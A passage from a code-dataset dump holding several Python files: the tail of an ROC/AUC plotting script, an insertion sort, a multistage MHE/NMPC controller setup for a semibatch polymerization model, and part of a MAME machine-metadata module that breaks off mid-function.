np.asarray(bin_features[f]), bin_age\nX_test, y_test = np.asarray(bin_features_test[f]), bin_age_test\n\n\n\nif classifier=='CNN':\n probas_ = NN_probs\nelse:\n probas_ = classifier.fit(X_train, y_train).predict_proba(X_test)\n\n\n# Compute ROC curve and area the curve\nfpr, tpr, thresholds = roc_curve(y_test, probas_[:, 1])\n\nroc_auc = auc(fpr, tpr)\nplt.plot(fpr, tpr, lw=2, alpha=0.8,\n label='roc curve (AUC = %0.3f)' % (roc_auc))\n\nplt.plot([0, 1], [0, 1], linestyle='--', lw=2, color='r',\n alpha=.99)\n\n\nplt.rc('font', size=15)\nplt.xlim([-0.01, 1.01])\nplt.ylim([-0.01, 1.01])\nplt.xlabel('False Positive Rate', fontsize=20)\nplt.ylabel('True Positive Rate', fontsize=20)\nplt.title('ROC curve')\nplt.legend(loc=\"lower right\")\nplt.grid()\nplt.show()\n\n\n\n# %%\n\n# RUN this cell if you want to include last plotted \n# roc curve in the final AUCs comparison plot\n\nlabls.append(r'39 (AUC = %0.3f)' % (roc_auc))\nlines.append(fpr)\nlines.append(tpr)\n\n\n# %%\n\n# RUN this cell only when you want to see \n# the final AUCs comparison plot\n\nfor i in range(len(labls)):\n if i==1:\n plt.plot(lines[2*i], lines[2*i+1], 'k-.', label=labls[i], lw=2, alpha=.8)\n else:\n plt.plot(lines[2*i], lines[2*i+1], label=labls[i], lw=2, alpha=.8)\n\n\nplt.rc('font', size=15)\nplt.plot([0, 1], [0, 1], linestyle='--', lw=2, color='r',\n alpha=.99)\nplt.xlim([-0.001, 1.001])\nplt.ylim([-0.001, 1.001])\nplt.xlabel('False Positive Rate (1 - Specificity)', fontsize=20)\nplt.ylabel('True Positive Rate (Sensitivity)', fontsize=20)\n\nplt.legend(loc=\"lower right\", fontsize=20)\nplt.grid()\nplt.show()\n","sub_path":"ML.py","file_name":"ML.py","file_ext":"py","file_size_in_byte":12814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"345685777","text":"# performs an insertion sort on an unsorted list\n# returns the list in sorted order\ndef insertion_sort(list):\n if len(list) <= 1:\n return list\n\n # start of right (unsorted) sub-list\n r_position = 1\n r_size = len(list) - 1\n # position to insert an element into the sorted sub-list\n element = list[r_position]\n insert_position = r_position\n\n while r_size > 0:\n # for loop finds where to insert the element\n for i in range(r_position-1, -1, -1):\n if element < list[i]:\n # insert the element before the one bigger than it\n insert_position = i\n\n # now we need to make room to insert the element\n for i in range(r_position, insert_position - 1, -1):\n list[i] = list[i-1]\n\n # insert the element and adjust the sizes of the sublists\n list[insert_position] = element\n r_position = r_position + 1\n r_size = r_size - 1\n # reset variables\n insert_position = r_position\n if r_position < len(list):\n element = list[r_position]\n\n return list\n","sub_path":"insertionSort.py","file_name":"insertionSort.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"188464959","text":"from __future__ import print_function\nfrom main.mods.SemiBatchPolymerization.mod_class_stgen import SemiBatchPolymerization_multistage\nfrom main.mods.SemiBatchPolymerization.mod_class import SemiBatchPolymerization\nfrom main.dync.MHEGen import msMHEGen\nfrom main.examples.SemiBatchPolymerization.noise_characteristics import * \nimport numpy as np\n\n# don't write messy bytecode files\n# might want to change if ran multiple times for performance increase\n# sys.dont_write_bytecode = True \n# discretization parameters:\nnfe, ncp = 24, 3 # Radau nodes assumed in code\n# state variables:\nx_vars = {\"PO\":[()], \"Y\":[()], \"W\":[()], \"PO_fed\":[()], \"MY\":[()], \"MX\":[(0,),(1,)], \"T\":[()], \"T_cw\":[()]}\n# corrupted state variables:\nx_noisy = []\n# output variables:\ny_vars = {\"PO\":[()], \"Y\":[()], \"MY\":[()], 'T':[()], 'T_cw':[()]}\n# controls:\nu = [\"u1\", \"u2\"]\nu_bounds = {\"u1\": (0.0,0.4), \"u2\": (0.0, 3.0)} \n# uncertain parameters:\np_noisy = {\"A\":[('p',),('i',)],'kA':[()]}\n# noisy initial conditions:\nnoisy_ics = {'PO_ic':[()],'T_ic':[()],'MY_ic':[()],'MX_ic':[(1,)]}\n# initial uncertainty set description (hyperrectangular):\np_bounds = {('A', ('i',)):(-0.2,0.2),('A', ('p',)):(-0.2,0.2),('kA',()):(-0.2,0.2),\n ('PO_ic',()):(-0.02,0.02),('T_ic',()):(-0.005,0.005),\n ('MY_ic',()):(-0.01,0.01),('MX_ic',(1,)):(-0.002,0.002)}\n# time horizon bounds:\ntf_bounds = [10.0*24/nfe, 30.0*24/nfe]\n# path constrained properties to be monitored:\npc = ['Tad','T']\n# monitored vars:\npoi = [x for x in x_vars] + u\n#parameter scenario:\nscenario = {('A',('p',)):-0.2,('A',('i',)):-0.2,('kA',()):-0.2}\n# scenario-tree definition:\nst = {} # scenario tree : {parent_node, scenario_number on current stage, base node (True/False), scenario values {'name',(index):value}}\ns_max, nr, alpha = 4, 2, 0.2\ndummy ={(1, 2): {('A', ('p',)): 1-alpha, ('kA', ()): 1-alpha, ('T_ic', ()): 1+0.005, ('A', ('i',)): 1-alpha, ('MY_ic', ()): 1+0.01, ('PO_ic', ()): 1+0.02}, \n (1, 3): {('A', ('p',)): 1-alpha, ('kA', ()): 1+alpha, ('T_ic', ()): 1-0.005, ('A', ('i',)): 1-alpha, ('MY_ic', ()): 1-0.01, ('PO_ic', ()): 1+0.02}, \n (1, 4): {('A', ('p',)): 1-alpha, ('kA', ()): 1-alpha, ('T_ic', ()): 1-0.005, ('A', ('i',)): 1-alpha, ('MY_ic', ()): 1-0.01, ('PO_ic', ()): 1+0.02}, \n (1, 5): {('A', ('p',)): 1-alpha, ('kA', ()): 1-alpha, ('T_ic', ()): 1-0.005, ('A', ('i',)): 1+alpha, ('MY_ic', ()): 1-0.01, ('PO_ic', ()): 1+0.02}, \n (1, 6): {('A', ('p',)): 1+alpha, ('kA', ()): 1+alpha, ('T_ic', ()): 1-0.005, ('A', ('i',)): 1-alpha, ('MY_ic', ()): 1-0.01, ('PO_ic', ()): 1+0.02}, \n (1, 7): {('A', ('p',)): 1+alpha, ('kA', ()): 1+alpha, ('T_ic', ()): 1-0.005, ('A', ('i',)): 1+alpha, ('MY_ic', ()): 1-0.01, ('PO_ic', ()): 1+0.02}, \n (1, 8): {('A', ('p',)): 1+alpha, ('kA', ()): 1-alpha, ('T_ic', ()): 1-0.005, ('A', ('i',)): 1-alpha, ('MY_ic', ()): 1-0.01, ('PO_ic', ()): 1+0.02}, \n (1, 9): {('A', ('p',)): 1+alpha, ('kA', ()): 1-alpha, ('T_ic', ()): 1-0.005, ('A', ('i',)): 1+alpha, ('MY_ic', ()): 1-0.01, ('PO_ic', ()): 1+0.02}, \n (2, 2): {('A', ('p',)): 1-alpha, ('A', ('i',)): 1-alpha, ('kA', ()): 1+alpha},\n (2, 3): {('A', ('p',)): 1-alpha, ('A', ('i',)): 1-alpha, ('kA', ()): 1-alpha},\n (2, 4): {('A', ('p',)): 1-alpha, ('A', ('i',)): 1-alpha, ('kA', ()): 1-alpha},\n (3, 2): {('A', ('p',)): 1-alpha, ('A', ('i',)): 1-alpha, ('kA', ()): 1+alpha},\n (3, 3): {('A', ('p',)): 1-alpha, ('A', ('i',)): 1-alpha, ('kA', ()): 1-alpha}}\n\nfor i in range(1,nfe+1):\n if i < nr + 1:\n for s in range(1,s_max**i+1):\n if s%s_max == 1:\n st[(i,s)] = (i-1,int(np.ceil(s/float(s_max))),True,{('A',('p',)):1.0,('A',('i',)):1.0,('kA',()):1.0}) \n else:\n scen = s%s_max if s%s_max != 0 else 3\n st[(i,s)] = (i-1,int(np.ceil(s/float(s_max))),False,dummy[(i,scen)])\n else:\n for s in range(1,s_max**nr+1):\n st[(i,s)] = (i-1,s,True,st[(i-1,s)][3])\n#s_max, nr, alpha = 9, 1, 0.2\n#for i in range(1,nfe+1):\n# if i < nr + 1:\n# for s in range(1,s_max**i+1):\n# if s%s_max == 1:\n# st[(i,s)] = (i-1,int(np.ceil(s/float(s_max))),True,{('A',('p',)):1.0,('A',('i',)):1.0,('kA',()):1.0}) \n# elif s%s_max == 2:\n# st[(i,s)] = (i-1,int(np.ceil(s/float(s_max))),False,{('A',('p',)):1.0+alpha,('A',('i',)):1.0+alpha,('kA',()):1.0-alpha})\n# elif s%s_max == 3:\n# st[(i,s)] = (i-1,int(np.ceil(s/float(s_max))),False,{('A',('p',)):1.0-alpha,('A',('i',)):1.0+alpha,('kA',()):1.0-alpha})\n# elif s%s_max == 4:\n# st[(i,s)] = (i-1,int(np.ceil(s/float(s_max))),False,{('A',('p',)):1.0+alpha,('A',('i',)):1.0-alpha,('kA',()):1.0-alpha})\n# elif s%s_max == 5:\n# st[(i,s)] = (i-1,int(np.ceil(s/float(s_max))),False,{('A',('p',)):1.0-alpha,('A',('i',)):1.0-alpha,('kA',()):1.0-alpha})\n# elif s%s_max == 6:\n# st[(i,s)] = (i-1,int(np.ceil(s/float(s_max))),False,{('A',('p',)):1.0+alpha,('A',('i',)):1.0+alpha,('kA',()):1.0+alpha})\n# elif s%s_max == 7:\n# st[(i,s)] = (i-1,int(np.ceil(s/float(s_max))),False,{('A',('p',)):1.0-alpha,('A',('i',)):1.0+alpha,('kA',()):1.0+alpha})\n# elif s%s_max == 8:\n# st[(i,s)] = (i-1,int(np.ceil(s/float(s_max))),False,{('A',('p',)):1.0+alpha,('A',('i',)):1.0-alpha,('kA',()):1.0+alpha})\n# else:\n# st[(i,s)] = (i-1,int(np.ceil(s/float(s_max))),False,{('A',('p',)):1.0-alpha,('A',('i',)):1.0-alpha,('kA',()):1.0+alpha})\n# else:\n# for s in range(1,s_max**nr+1):\n# st[(i,s)] = (i-1,s,True,st[(i-1,s)][3])\n \n \nsr = s_max**nr\n\n# create MHE-NMPC-controller object\ncl = msMHEGen(d_mod = SemiBatchPolymerization_multistage,\n d_mod_mhe = SemiBatchPolymerization,\n y=y_vars,\n x=x_vars, \n x_noisy=x_noisy,\n p_noisy=p_noisy,\n u=u,\n u_bounds = u_bounds,\n tf_bounds = tf_bounds,\n poi = x_vars,\n scenario_tree = st,\n robust_horizon = nr,\n s_max = sr,\n noisy_inputs = False,\n noisy_params = False,\n adapt_params = False,\n update_scenario_tree = False,\n process_noise_model = 'params_bias',\n uncertainty_set = p_bounds,\n confidence_threshold = alpha,\n robustness_threshold = 0.05,\n obj_type='economic',\n control_displacement_penalty=True,\n nfe_t=nfe,\n ncp_t=ncp,\n path_constraints=pc)\n\ncov_matrices = {'y_cov':mcov,'q_cov':qcov,'u_cov':ucov,'p_cov':pcov}\nreg_weights = {'K_w':1.0}\nstgen_in = {'epc':['PO_ptg','mw','unsat'],'pc':['T_max','temp_b'],'noisy_ics':noisy_ics,'par_bounds':p_bounds}\n\nargs = {'cov_matrices':cov_matrices, 'regularization_weights':reg_weights,'stgen_args':stgen_in,\n 'advanced_step':False,'fix_noise':True,'stgen':True,'meas_noise':x_measurement,'disturbance_src':{}}\n\nkind = 'msNMPC_SBSG'\nparest = '_parest_' if cl.adapt_params else '_'","sub_path":"examples/SemiBatchPolymerization/MC_sampling/controllers/msMHE_stgen.py","file_name":"msMHE_stgen.py","file_ext":"py","file_size_in_byte":7125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"346148914","text":"import configparser\nimport sys\n\nimport input_metadata\nfrom config import main_config\nfrom common_types import MediaType, SaveType\nfrom metadata import EmulationStatus, CPUInfo, ScreenInfo\nfrom region_detect import get_language_by_english_name, get_regions_from_filename_tags\nfrom common import find_filename_tags, pluralize\nfrom mame_helpers import find_main_cpu\n\ndebug = '--debug' in sys.argv\n\n#Maybe I just want to put all this back into mame_machines... it's only used there\n\nmame_statuses = {\n\t'good': EmulationStatus.Good,\n\t'imperfect': EmulationStatus.Imperfect,\n\t'preliminary': EmulationStatus.Broken,\n}\n\ndef get_catlist():\n\t#TODO: Maybe I should just get catlist.ini from UI config category path?\n\tif not main_config.catlist_path:\n\t\treturn None\n\tparser = configparser.ConfigParser(interpolation=None, allow_no_value=True)\n\tparser.optionxform = str\n\tparser.read(main_config.catlist_path)\n\treturn parser\n\ndef get_languages():\n\tif not main_config.languages_path:\n\t\treturn None\n\tparser = configparser.ConfigParser(interpolation=None, allow_no_value=True)\n\tparser.optionxform = str\n\tparser.read(main_config.languages_path)\n\treturn parser\n\ncatlist = get_catlist()\nlanguages = get_languages()\n\ndef get_category(basename):\n\tcat = None\n\tif catlist:\n\t\tfor section in catlist.sections():\n\t\t\tif basename in catlist[section]:\n\t\t\t\tcat = section\n\t\t\t\tbreak\n\tif not cat:\n\t\treturn 'Unknown', 'Unknown', 'Unknown', False\n\n\tif ': ' in cat:\n\t\tcategory, _, genres = cat.partition(': ')\n\t\tgenre, _, subgenre = genres.partition(' / ')\n\t\tis_nsfw = False\n\t\tif subgenre.endswith('* Mature *'):\n\t\t\tis_nsfw = True\n\t\t\tsubgenre = subgenre[:-10]\n\n\t\treturn category, genre, subgenre, is_nsfw\n\n\tcategory, _, genre = cat.partition(' / ')\n\treturn category, genre, None, False\n\ndef get_language(basename):\n\tif not languages:\n\t\treturn None\n\n\tlang = None\n\tfor section in languages.sections():\n\t\tif basename in languages[section]:\n\t\t\tlang = section\n\t\t\tbreak\n\n\treturn get_language_by_english_name(lang)\n\narcade_systems = {\n\t'3do': '3DO', #Used for the 3DO console as well, but there are 3DO-based arcade games which are just called that; non-working\n\t'aleck64': 'Aleck64', #Based on N64\n\t'alien': 'Capcom Medalusion', #Non-working\n\t'arsystems': 'Arcadia System', #Amiga 500 based\n\t'astrocde': 'Astrocade', #The home console used the same hardware, I can't remember the names of all the different things\n\t'atarig42': 'Atari G42',\n\t'atarigt': 'Atari GT',\n\t'atarigx2': 'Atari GX2',\n\t'atarisy1': 'Atari System 1',\n\t'atarisy2': 'Atari System 2',\n\t'atlantis': 'Midway Atlantis', #Linux based (on MIPS CPU); claims to be skeleton but seems to work a bit anyway\n\t'balsente': 'Bally/Sente SAC-1',\n\t'cdi': 'Philips CD-i', #Literally a CD-i player with a JAMMA adapter (used for some quiz games)\n\t'cedar_magnet': 'Magnet System',\n\t'chihiro': 'Chihiro', #Based on Xbox, seemingly non-working\n\t'cobra': 'Konami Cobra System',\n\t'cps1': 'CPS-1',\n\t'cps2': 'CPS-2',\n\t'cps3': 'CPS-3',\n\t'crystal': 'Brezzasoft Crystal System',\n\t'cubo': 'Cubo CD32', #Amiga CD32 + JAMMA\n\t'cvs': 'Century CVS System',\n\t'decocass': 'Deco Casette',\n\t'dgpix': 'dgPIX VRender0',\n\t'djmain': 'DJ Main',\n\t'eolith': 'Eolith Gradation 2D System',\n\t'exidy440': 'Exidy 440',\n\t'expro02': 'Kaneko EXPRO-02',\n\t'fuukifg2': 'Fuuki FG-2',\n\t'fuukifg3': 'Fuuki FG-3',\n\t'hikaru': 'Hikaru', #Based on souped up Naomi and in turn Dreamcast, non-working\n\t'hng64': 'Hyper Neo Geo 64', #Barely working\n\t'hornet': 'Konami Hornet',\n\t'jaguar': 'CoJag', #This is the same source file used for the Jaguar console too\n\t'konamigq': 'Konami GQ', #Based on PS1\n\t'konamigv': 'Konami GV', #Based on PS1\n\t'konamigx': 'Konami GX',\n\t'konamim2': 'Konami M2', #Based on unreleased Panasonic M2, non-working\n\t'ksys573': 'Konami System 573', #Based on PS1\n\t'gammagic': 'Bally V8000', #Pentium PC based, skeleton\n\t'lindbergh': 'Sega Lindbergh', #(modern) PC based, very non-working\n\t'm52': 'Irem M52',\n\t'm58': 'Irem M58',\n\t'm62': 'Irem M62',\n\t'm72': 'Irem M72',\n\t'm92': 'Irem M92',\n\t'macs': 'Multi Amenity Casette System',\n\t'mcr': 'Midway MCR',\n\t'mcr3': 'Midway MCR-3',\n\t'mcr68': 'Midway MCR-68k',\n\t'meadows': 'Meadows S2650',\n\t'mediagx': 'Atari Media GX', #Based on Cyrix multimedia PC\n\t'megadriv_acbl': 'Mega Drive Bootleg', #Mega Drive based ofc\n\t'megasys1': 'Jaleco Mega System 1',\n\t'midqslvr': 'Midway Quicksilver', #Non-working\n\t'midtunit': 'Midway T-Unit',\n\t'midvunit': 'Midway V-Unit',\n\t'midwunit': 'Midway W-Unit',\n\t'midxunit': 'Midway X-Unit',\n\t'midyunit': 'Midway Y-Unit',\n\t'midzeus': 'Midway Zeus',\n\t'model1': 'Sega Model 1',\n\t'model2': 'Sega Model 2', #Barely working\n\t'model3': 'Sega Model 3', #Non-working\n\t'ms32': 'Jaleco Mega System 32',\n\t'namconb1': 'Namco System NB-1',\n\t'namcond1': 'Namco System ND-1',\n\t'namcos1': 'Namco System 1',\n\t'namcos10': 'Namco System 10', #Based on PS1\n\t'namcos11': 'Namco System 11', #Based on PS1\n\t'namcos12': 'Namco System 12',\n\t'namcos2': 'Namco System 2',\n\t'namcos21': 'Namco System 21',\n\t'namcos21_c67': 'Namco System 21', #With C67 DSP\n\t'namcos22': 'Namco System 22',\n\t'namcos23': 'Namco System 23',\n\t'naomi': 'Naomi', #Based on Dreamcast. romof=\"awbios\" == Atomiswave; not entirely working\n\t'neogeo': 'Neo-Geo',\n\t'nwk-tr': 'Konami NWK-TR',\n\t'pcxt': 'IBM PC-XT', #Games running off a PC-XT\n\t'pgm': 'PolyGame Master',\n\t'photon': 'Photon System', #PK8000 based (Russian PC that was supposed to be MSX1 compatible)\n\t'photon2': 'Photon IK-3', #Leningrad-1 based (Russian ZX Spectrum clone)\n\t'policetr': 'ATILLA Video System',\n\t'psikyo4': 'Psikyo PS4',\n\t'seattle': 'Midway Seattle',\n\t'segac2': 'System C2', #Similar to Megadrive\n\t'segae': 'System E', #Similar to Master System\n\t'segag80r': 'Sega G-80 Raster',\n\t'segag80v': 'Sega G-80 Vector',\n\t'segas16a': 'System 16A', #Similar to Megadrive\n\t'segas16b': 'System 16B',\n\t'segas18': 'System 18',\n\t'segas24': 'System 24',\n\t'segas32': 'System 32',\n\t'segasp': 'Sega System SP', #Dreamcast based, for medal games\n\t'segaxbd': 'Sega X-Board',\n\t'segaybd': 'Sega Y-Board',\n\t'seibuspi': 'Seibu SPI',\n\t'sfcbox': 'Super Famicom Box', #Arcadified SNES sorta\n\t'sg1000a': 'Sega SG-1000',\n\t'snesb': 'SNES Bootleg', #SNES based, natch\n\t'sigmab98': 'Sigma B-98',\n\t'simpl156': 'Deco 156',\n\t'ssv': 'SSV', #Sammy Seta Visco\n\t'stv': 'ST-V', #Based on Saturn\n\t'suprnova': 'Kaneko Super Nova System',\n\t'taito_b': 'Taito B System',\n\t'taito_f2': 'Taito F2',\n\t'taito_f3': 'Taito F3',\n\t'taitogn': 'Taito G-NET',\n\t'taito_h': 'Taito H System',\n\t'taitojc': 'Taito JC',\n\t'taito_l': 'Taito L-System',\n\t'taitosj': 'Taito SJ',\n\t'taito_o': 'Taito O System',\n\t'taitopjc': 'Taito Power-JC',\n\t'taitotx': 'Taito Type X', #Modern PC based, very non-working\n\t'taitotz': 'Taito Type-Zero', #PPC based\n\t'taitowlf': 'Taito Wolf', #3Dfx (Pentium) based\n\t'taito_x': 'Taito X-System',\n\t'taito_z': 'Taito Z System',\n\t'tiamc1': 'TIA-MC1',\n\t'triforce': 'Triforce', #GameCube based\n\t'ultrsprt': 'Konami Ultra Sports',\n\t'vegas': 'Midway Vegas',\n\t'vicdual': 'VIC Dual',\n\t'viper': 'Konami Viper', #3Dfx (PPC) based\n\t'vsnes': 'VS Unisystem',\n\t'williams': 'Williams 6809',\n\t'zr107': 'Konami ZR701',\n\n\t#Arcade platforms that don't have a name or anything, but companies consistently use them\n\t'cave': 'Cave Hardware',\n\t'alg': 'American Laser Games Hardware', #Amiga 500 based (w/ laserdisc player)\n\t'artmagic': 'Art & Magic Hardware',\n\t'cinemat': 'Cinematronics Vector Hardware',\n\t'ettrivia': 'Enerdyne Technologies Trivia',\n\t'gameplan': 'Game Plan Hardware',\n\t'gei': 'Greyhound Electronics Hardware',\n\t'gottlieb': 'Gottlieb Hardware',\n\t'homedata': 'Home Data Hardware',\n\t'leland': 'Leland Hardware',\n\t'micro3d': 'Microprose 3D Hardware',\n\t'subsino2': 'Subsino Newer Tilemaps Hardware',\n\n\t#Arcade platforms that don't really have a name except a game that uses them; I try not to fill this up with every single remaining source file, just where it's notable for having other games on it\n\t'ambush': 'Ambush Hardware',\n\t'armedf': 'Armed Formation Hardware',\n\t'battlera': 'Battle Rangers', #PC Engine based\n\t'btime': 'BurgerTime Hardware',\n\t'cclimber': 'Crazy Climber Hardware',\n\t'dkong': 'Donkey Kong Hardware',\n\t'ertictac': 'Erotictac Hardware', #Acorn Archimedes based\n\t'fcrash': 'Final Crash Hardware', #Bootleg of Final Fight; this is used for other bootlegs too\n\t'galaxian': 'Galaxian Hardware', #Was used for a lot of games and bootlegs, actually; seems that Moon Cresta hardware has the same source file\n\t'galaxold': 'Galaxian Hardware', #There's a comment in that source file saying it'll be merged into galaxian eventually; seems that this one has all the bootlegs etc\n\t'ggconnie': 'Go! Go! Connie Hardware', #Supergrafx based\n\t'gticlub': 'Konami GTI Club Hardware',\n\t'liberate': 'Liberation Hardware',\n\t'nemesis': 'Nemesis Hardware',\n\t'pacman': 'Pac-Man Hardware',\n\t'pcat_nit': 'Street Games Hardware', #PC-AT 386 based\n\t'quakeat': 'Quake Arcade Tournament Hardware', #Unknown PC based\n\t'scramble': 'Scramble Hardware', #Apparently also to be merged into galaxian\n\t'ssfindo': 'See See Find Out Hardware', #RISC PC based\n\t'turrett': 'Turret Tower Hardware',\n\n\t#Identified by BIOS and not source file:\n\t#coh100c: Sony ZN1 (PS1 based)\n\t#coh100t: Taito FX1 (PS1 based)\n}\n\ndef add_machine_platform(machine):\n\tcategory = machine.metadata.categories[0]\n\n\tsource_file_platforms = {\n\t\t'megatech': 'Mega-Tech',\n\t\t'megaplay': 'Mega-Play',\n\t\t'playch10': 'PlayChoice-10',\n\t\t'nss': 'Nintendo Super System',\n\t}\n\n\t#Public coin-op machines that could be still considered 'Arcade' as the platform, but meh\n\tif machine.source_file in source_file_platforms:\n\t\treturn source_file_platforms[machine.source_file], MediaType.Standalone\n\n\t#Home systems that have the whole CPU etc inside the cartridge, and hence work as separate systems in MAME instead of being in roms.py\n\telif machine.source_file == 'cps1' and '(CPS Changer, ' in machine.name:\n\t\tmachine.name = machine.name.replace('CPS Changer, ', '')\n\t\treturn 'CPS Changer', MediaType.Cartridge\n\telif machine.name.endswith('(XaviXPORT)'):\n\t\treturn 'XaviXPORT', MediaType.Cartridge\n\telif machine.name.startswith(('Game & Watch: ', 'Select-A-Game: ', 'R-Zone: ')):\n\t\tplatform, _, machine.name = machine.name.partition(': ')\n\t\treturn platform, MediaType.Cartridge if platform in ('Select-A-Game', 'R-Zone') else MediaType.Standalone\n\n\t#Other weird and wacky devices\n\t#Note: \"Handheld / Electronic Game\" could also be a tabletop system which takes AC input and you would not be able to hold in your hands at all (see also: cpacman), but since catlist.ini doesn't take that into account, I don't really have a way of doing so either\n\telif (category == 'Game Console') or (category == 'Handheld' and machine.metadata.genre == \"Plug n' Play TV Game\"):\n\t\tmachine.metadata.platform = 'Plug & Play'\n\t\t#Since we're skipping over stuff with software lists, anything that's still classified as a game console is a plug & play system. Also if you plug it into your TV it's not really a handheld so I'm not sure what the logic is there, and I'm not actually sure why that's used for some instead of Game Console / Home Videogame and what's the difference\n\t\treturn 'Plug & Play', MediaType.Standalone\n\telif machine.metadata.genre in ('Electromechanical', 'Slot Machine') and machine.metadata.subgenre == 'Reels':\n\t\t#TODO: Need a better name for this, really. It's tricky though whether to call it \"Slot Machine\" (as one of those genres suggests) or \"Fruit Machine\" (which is the wording MAME seems to use itself in documentation) or \"Gambling\" or \"AWP\" or what\n\t\treturn 'Pokies', MediaType.Standalone\n\telif machine.metadata.genre == 'Electromechanical' and machine.metadata.subgenre == 'Pinball':\n\t\t#There are a few things under Arcade: Electromechanical / Utilities that are also pinball stuff, although perhaps not all of them. It only becomes apparent due to them using the \"genpin\" sample set\n\t\treturn 'Pinball', MediaType.Standalone\n\telif category == 'Handheld' and machine.metadata.genre in ('Electronic Game', 'Home Videogame Console'):\n\t\t#Home Videogame Console seems to be used for stuff that would be normally excluded due to having software lists and hence being a platform for other software (e.g. GBA), or stuff that ends up there because it has no software list yet (e.g. Gizmondo, Sony PocketStation), but also some stuff like kcontra (Contra handheld) that should definitely be called a handheld, or various \"plug & play\" (except without the plug) stuff like BittBoy 300 in 1 or VG Pocket\n\t\t#Anyway that's why I put that there\n\t\t#Other genres of handheld: Pocket Device - Pad - PDA; Child Computer (e.g. Speak & Spell) but those seem more suited to Non-Arcade particularly the former\n\t\treturn category, MediaType.Standalone\n\telif category == 'Arcade':\n\t\t#Things that might not be arcade: Genre == Utilities (screen tests, etc); genre == Music && subgenre == Jukebox; genre == Misc && subgenre == Print Club (more of a photo booth I guess)\n\t\treturn category, MediaType.Standalone\n\n\t#This leaves categories like Board Game, Computer, Telephone, Utilities (EEPROM programmers), Music, Misc., Multigame\n\t#Misc has a lot of different things in it and I guess catlist just uses it as a catch-all for random things which don't really fit anywhere else and there's not enough to give them their own category, probably\n\t#Some things inside Misc that might be of interest to people because they're actual games: Electronic Board Game (Electronic Battleship), Electronic Game (Electronic Soccer, Reversi Sensory Challenger), and then there's V-Dog (prototype) which ends up as \"Unknown\"; perhaps I could split these off into their own platform\n\t#MultiGame tends to have genre of \"Compilation\" and has things like CoolBoy RS-8 168 in 1 which really should be under Handheld/Plug & Play but oh well\n\treturn 'Non-Arcade', MediaType.Standalone\n\n#Some games have memory card slots, but they don't actually support saving, it's just t hat the arcade system board thing they use always has that memory card slot there. So let's not delude ourselves into thinking that games which don't save let you save, because that might result in emotional turmoil.\n#Fatal Fury 2, Fatal Fury Special, Fatal Fury 3, and The Last Blade apparently only save in Japanese or something? That might be something to be aware of\n#Also shocktro has a set 2 (shocktroa), and shocktr2 has a bootleg (lans2004), so I should look into if those clones don't save either. They probably don't, though, and it's probably best to expect that something doesn't save and just playing it like any other arcade game, rather than thinking it does and then finding out the hard way that it doesn't. I mean, you could always use savestates, I guess. If those are supported. Might not be. That's another story.\nnot_actually_save_supported = ['diggerma', 'neobombe', 'pbobbl2n', 'popbounc', 'shocktro', 'shocktr2', 'irrmaze']\n\ndef add_save_type(machine):\n\tif machine.metadata.platform == 'Arcade':\n\t\thas_memory_card = False\n\t\tfor device in machine.xml.findall('device'):\n\t\t\tinstance = device.find('instance')\n\t\t\tif instance is None:\n\t\t\t\tcontinue\n\t\t\tif instance.attrib['name'] == 'memcard':\n\t\t\t\thas_memory_card = True\n\n\t\thas_memory_card = has_memory_card and (machine.family not in not_actually_save_supported)\n\n\t\tmachine.metadata.save_type = SaveType.MemoryCard if has_memory_card else SaveType.Nothing\n\t\t#TODO: Some machines that aren't arcade systems might plausibly have something describable as SaveType.Cart or SaveType.Internal... anyway, I guess I'll burn that bridge when I see it\n\ndef add_status(machine):\n\tdriver = machine.xml.find('driver')\n\t#Overall status\n\tmachine.metadata.specific_info['MAME-Emulation-Status'] = mame_statuses.get(driver.attrib['status'], EmulationStatus.Unknown)\n\t#I guess I gotta think of better names for this stuff\n\tmachine.metadata.specific_info['MAME-Actual-Emulation-Status'] = mame_statuses.get(driver.attrib['emulation'], EmulationStatus.Unknown)\n\tmachine.metadata.specific_info['Cocktail-Status'] = mame_statuses.get(driver.attrib.get('cocktail'), EmulationStatus.Unknown)\n\tmachine.metadata.specific_info['Supports-Savestate'] = driver.attrib.get('savestate') == 'supported'\n\n\tunemulated_features = []\n\tfor feature in machine.xml.findall('feature'):\n\t\tfeature_type = feature.attrib['type']\n\t\tif 'status' in feature.attrib:\n\t\t\tfeature_status = feature.attrib['status']\n\t\telif 'overall' in feature.attrib:\n\t\t\t#wat?\n\t\t\tfeature_status = feature.attrib['overall']\n\t\telse:\n\t\t\tcontinue\n\n\t\tif feature_status == 'unemulated':\n\t\t\tunemulated_features.append(feature_type)\n\t\telse:\n\t\t\t#Known types according to DTD: protection, palette, graphics, sound, controls, keyboard, mouse, microphone, camera, disk, printer, lan, wan, timing\n\t\t\tmachine.metadata.specific_info['MAME-%s-Status' % feature_type.capitalize()] = mame_statuses.get(feature_status, EmulationStatus.Unknown)\n\n\tif unemulated_features:\n\t\tmachine.metadata.specific_info['MAME-Unemulated-Features'] = unemulated_features\n\ndef add_metadata(machine):\n\tcategory, genre, subgenre, nsfw = get_category(machine.basename)\n\tmachine.metadata.categories = [category] if category else ['Unknown']\n\tmachine.metadata.genre = genre\n\tmachine.metadata.subgenre = subgenre\n\tmachine.metadata.nsfw = nsfw\n\n\tmain_cpu = find_main_cpu(machine.xml)\n\tif main_cpu is not None:\n\t\tmachine.metadata.cpu_info = CPUInfo()\n\t\tmachine.metadata.cpu_info.load_from_xml(main_cpu)\n\n\tmachine.metadata.screen_info = ScreenInfo()\n\tdisplays = machine.xml.findall('display')\n\tmachine.metadata.screen_info.load_from_xml_list(displays)\n\n\tadd_input_info(machine)\n\tmachine.metadata.platform, machine.metadata.media_type = add_machine_platform(machine)\n\tif machine.source_file in arcade_systems:\n\t\tmachine.metadata.specific_info['Arcade-System'] = arcade_systems[machine.source_file]\n\tadd_save_type(machine)\n\n\tlanguage = get_language(machine.basename)\n\tif language:\n\t\tmachine.metadata.languages = [language]\n\n\tmachine.metadata.regions = get_regions_from_filename_tags(find_filename_tags.findall(machine.name), loose=True)\n\n\t#Might not be so hardcoded one day...\n\tmachine.metadata.emulator_name = 'MAME'\n\n\tadd_status(machine)\n\ndef add_input_info(machine):\n\tmachine.metadata.input_info.set_known()\n\tif machine.input_element is None:\n\t\t#Seems like this doesn't actually happen\n\t\tif debug:\n\t\t\tprint('Oi m8', machine.basename, '/', 